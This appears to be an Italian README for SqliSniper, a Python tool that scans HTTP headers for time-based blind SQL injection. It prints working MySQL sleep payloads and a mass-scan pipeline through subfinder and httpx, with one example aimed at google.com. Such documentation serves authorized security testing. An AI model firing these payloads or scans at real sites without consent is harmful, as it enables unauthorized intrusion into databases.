
Fuzzer avanzato per SQL Injection cieca basata sul tempo per intestazioni HTTP
Caratteristiche • Installazione • Utilizzo • Esecuzione di SqliSniper • Contributi •
SqliSniper è un robusto strumento Python progettato per rilevare SQL injection blind basate sul tempo negli header delle richieste HTTP. Migliora il processo di valutazione della sicurezza scansionando rapidamente e identificando potenziali vulnerabilità tramite multi-threading, garantendo velocità ed efficienza. A differenza di altri scanner, SqliSniper è progettato per eliminare i falsi positivi e inviare notifiche in caso di rilevamento, grazie alla funzionalità di notifica Discord integrata.

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt
Questo comando visualizzerà l'aiuto per lo strumento. Ecco tutte le opzioni supportate.
ubuntu:~/sqlisniper$ ./sqlisniper.py -h
███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██████╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
-: Di Muhammad Danial :-
usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]
Rileva SQL injection inviando query dannose
options:
-h, --help mostra questo messaggio di aiuto e esce
-u URL, --url URL URL singolo per il target
-r URLS_FILE, --urls_file URLS_FILE
File contenente un elenco di URL
-p, --pipeline Legge da pipeline
--proxy PROXY Proxy per intercettare le richieste (es. http://127.0.0.1:8080)
--payload PAYLOAD File contenente payload dannosi (default è payloads.txt)
--single-payload SINGLE_PAYLOAD
Payload singolo per test
--discord DISCORD URL Webhook di Discord
--headers HEADERS File contenente header (default è headers.txt)
--threads THREADS Numero di thread
L'URL può essere fornito con il flag -u per la scansione di un singolo sito.
./sqlisniper.py -u http://example.com
Il flag -r consente a SqliSniper di leggere un file contenente più URL per la scansione simultanea.
./sqlisniper.py -r url.txt
SqliSniper può funzionare anche con l'input da pipeline usando il flag -p.
cat url.txt | ./sqlisniper.py -p
La funzionalità di pipeline facilita l'integrazione con altri strumenti. Ad esempio, puoi utilizzare strumenti come subfinder e httpx e poi incanalare il loro output in SqliSniper per scansioni massive.
subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p
Per impostazione predefinita, SqliSniper utilizza il file payloads.txt. Tuttavia, il flag --payload può essere usato per fornire un file di payload personalizzato.
./sqlisniper.py -u http://example.com --payload mssql_payloads.txt
Quando si utilizza un file di payload personalizzato, assicurati di sostituire il tempo di attesa con %__TIME_OUT__%. SqliSniper regola dinamicamente il tempo di attesa in modo iterativo per mitigare potenziali falsi positivi.
Il file dei payload dovrebbe essere simile a questo:
ubuntu:~/sqlisniper$ cat payloads.txt
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z
Se vuoi testare solo con un singolo payload, puoi usare il flag --single-payload. Assicurati di sostituire il tempo di attesa con %__TIME_OUT__%.
./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"
Gli header sono salvati nel file headers.txt. Per scansionare con header personalizzati, salva l'header HTTP della richiesta personalizzata nel file headers.txt.
ubuntu:~/sqlisniper$ cat headers.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1
SqliSniper offre anche notifiche di avviso su Discord, migliorando la sua funzionalità fornendo avvisi in tempo reale tramite webhook Discord. Questa funzionalità è preziosa durante scansioni su larga scala, consentendo notifiche tempestive al rilevamento.
./sqlisniper.py -r url.txt --discord <web_hookurl>
I thread possono essere definiti con il flag --threads.
./sqlisniper.py -r url.txt --threads 10
Nota: È importante considerare che l'utilizzo di un numero maggiore di thread potrebbe portare a potenziali falsi positivi o alla mancata rilevazione di problemi validi. A causa della natura delle SQL injection basate sul tempo, si consiglia di utilizzare un numero inferiore di thread per un rilevamento più accurato.
Dichiarazione di non responsabilità legaleL'utilizzo di questo strumento per attaccare target senza previo consenso reciproco è severamente vietato. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da questo programma. |
I contributi a SqliSniper sono sempre benvenuti. Che si tratti di miglioramenti delle funzionalità, correzioni di bug o miglioramenti della documentazione, ogni aiuto è apprezzato.
SqliSniper è distribuito sotto Licenza MIT
SqliSniper è realizzato in
con tanto 💙 da @Muhammad Danial.